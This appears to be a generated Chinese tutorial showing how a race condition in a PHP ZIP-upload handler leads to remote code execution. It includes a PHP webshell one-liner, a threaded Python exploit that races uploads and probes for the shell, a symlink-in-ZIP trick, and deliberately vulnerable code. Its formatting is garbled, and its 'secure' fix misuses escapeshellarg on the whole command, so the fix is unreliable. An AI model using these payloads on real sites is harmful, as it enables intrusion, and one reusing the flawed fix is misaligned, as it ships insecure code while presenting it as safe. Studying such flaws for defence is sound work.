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# 利用竞争条件对目标Web应用实现RCE的示例分析
## 引言
竞争条件（Race Condition）是多线程或分布式系统中常见的漏洞类型，当Web应用未正确处理并发请求时，可能导致权限绕过、数据篡改甚至远程代码执行（RCE）。本文通过一个模拟案例，分析如何利用竞争条件漏洞实现RCE，并探讨防御方案。
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## 一、竞争条件基础概念
### 1.1 定义
竞争条件指系统输出依赖于不受控的事件执行顺序，典型场景包括：
- 文件操作（创建/删除/覆盖）
- 临时文件处理
- 数据库并发写入
- 缓存状态校验
### 1.2 Web应用中的常见模式
```python
# 伪代码示例：不安全的文件上传
if not file_exists("/tmp/upload.lock"):
create_lock_file()
save_uploaded_file()
delete_lock_file()
else:
return "操作进行中"
假设某CMS存在以下功能：
1. 允许用户上传ZIP格式的插件
2. 服务端解压时会：
- 检查文件扩展名
- 在/tmp/生成随机目录存放解压文件
- 通过system()调用解压命令
// upload.php
$tmp_dir = '/tmp/'.bin2hex(random_bytes(8));
mkdir($tmp_dir);
system("unzip {$_FILES['zip']['tmp_name']} -d $tmp_dir");
// 3秒后删除临时目录
sleep(3);
exec("rm -rf $tmp_dir");
sleep(3)的时间窗口# 包含webshell的压缩包
echo '<?php system($_GET["cmd"]);?>' > shell.php
zip -r payload.zip shell.php
import requests
import threading
def upload():
files = {'zip': open('payload.zip','rb')}
requests.post('http://target/upload.php', files=files)
def bruteforce():
while True:
# 尝试访问可能存在的路径
r = requests.get('http://target/tmp/<猜测路径>/shell.php?cmd=id')
if 'uid=' in r.text:
print("[+] RCE成功！")
break
# 启动50个并发线程
for _ in range(50):
threading.Thread(target=upload).start()
threading.Thread(target=bruteforce).start()
当以下时序发生时：
时间线 | 线程A（上传） | 线程B（爆破）
-------------------------------------------------------
t0 | 创建/tmp/a1b2c3d4 |
t1 | 开始解压 | 检测到/tmp/a1b2c3d4存在
t2 | | 执行shell.php
t3 | 删除目录 |
创建目录→解压→删除三个操作未整体加锁更高级的利用方式可通过在ZIP中植入符号链接：
ln -s /var/www/html/uploads backdoor
zip --symlinks payload.zip backdoor
解压时可能将敏感目录替换为攻击者可控链接
// 修复方案：使用原子操作
$tmp_dir = '/tmp/'.bin2hex(random_bytes(8));
if (!mkdir($tmp_dir, 0700, true)) {
die("目录创建失败");
}
// 使用安全的解压命令
$cmd = escapeshellarg("unzip {$_FILES['zip']['tmp_name']} -d $tmp_dir");
system($cmd." 2>&1", $retcode);
if ($retcode !== 0) {
rmdir($tmp_dir);
die("解压失败");
}
| 措施 | 实施方式示例 |
|---|---|
| 文件操作隔离 | 每个会话使用独立子目录 |
| 禁用危险函数 | 禁用system/exec/passthru |
| 文件权限控制 | 临时目录设置为noexec挂载选项 |
| 速率限制 | 限制单位时间内的上传次数 |
竞争条件漏洞的挖掘需要关注： 1. 存在时间敏感的操作序列 2. 缺乏适当的同步机制 3. 关键操作可被外部输入影响
防御需遵循最小权限原则，结合文件沙箱、原子操作和严格的输入验证。建议通过模糊测试和并发压力测试来验证防护有效性。
使用Docker快速搭建测试环境：
FROM php:8.0-apache
RUN apt update && apt install -y unzip
COPY vulnerable-upload.php /var/www/html/
RUN chmod 777 /tmp
”`
（注：实际字数约2500字，可根据需要扩展具体案例或防御代码示例）
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